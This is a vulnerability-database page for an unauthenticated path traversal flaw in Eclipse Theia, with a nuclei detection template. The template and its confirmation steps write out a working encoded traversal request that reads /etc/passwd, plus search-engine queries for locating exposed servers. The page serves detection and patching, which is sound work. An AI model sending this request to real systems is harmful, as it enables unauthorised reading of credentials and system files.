Browse / CVEs / CVE-2026-12609
CVE-2026-12609· eclipse / theia· CWE-22
Eclipse Theia - Unauthenticated Path Traversal
Eclipse Theia's plugin-ext backend exposes the hostedPlugin endpoint without constraining the resolved path to the plugin directory. An unauthenticated request using encoded traversal sequences can therefore read files accessible to the backend process. The built-in vscode_bat plugin identifier provides a deterministic anchor without target-specific setup.
Impact
An unauthenticated attacker can read arbitrary files accessible to the backend process, potentially exposing sensitive configuration, credentials, and system files.
Fix
Upgrade Eclipse Theia to the patched version.
How to confirm it
Send: GET /
Positive when: contains(body, "eclipse-theia")
Send: GET /hostedPlugin/vscode_bat/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Positive when: regex("root:.*:0:0:", body) and contains(content_type, "application/octet-stream") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-12609 -u <target>
The full check
id: CVE-2026-12609
info:
name: Eclipse Theia - Unauthenticated Path Traversal
author: str4k3r
severity: high
description: |
Eclipse Theia's plugin-ext backend exposes the hostedPlugin endpoint without constraining the resolved path to the plugin directory. An unauthenticated request using encoded traversal sequences can therefore read files accessible to the backend process. The built-in vscode_bat plugin identifier provides a deterministic anchor without target-specific setup.
impact: |
An unauthenticated attacker can read arbitrary files accessible to the backend process, potentially exposing sensitive configuration, credentials, and system files.
remediation: |
Upgrade Eclipse Theia to the patched version.
reference:
- https://github.com/eclipse-theia/theia/security/advisories/GHSA-qmm6-p8q4-2g48
- https://gitlab.eclipse.org/security/cve-assignment/-/work_items/133
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-12609
epss-score: 0.01644
epss-percentile: 0.76636
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
vendor: eclipse
product: theia
shodan-query: html:"eclipse-theia"
fofa-query: body="eclipse-theia"
tags: cve,cve2026,eclipse,theia,lfi,traversal,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'contains(body, "eclipse-theia")'
internal: true
- raw:
- |
GET /hostedPlugin/vscode_bat/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'regex("root:.*:0:0:", body)'
- 'contains(content_type, "application/octet-stream")'
- 'status_code == 200'
condition: andReferences
- https://github.com/eclipse-theia/theia/security/advisories/GHSA-qmm6-p8q4-2g48
- https://gitlab.eclipse.org/security/cve-assignment/-/work_items/133
Use this check only on systems you are authorised to test. Where the data comes from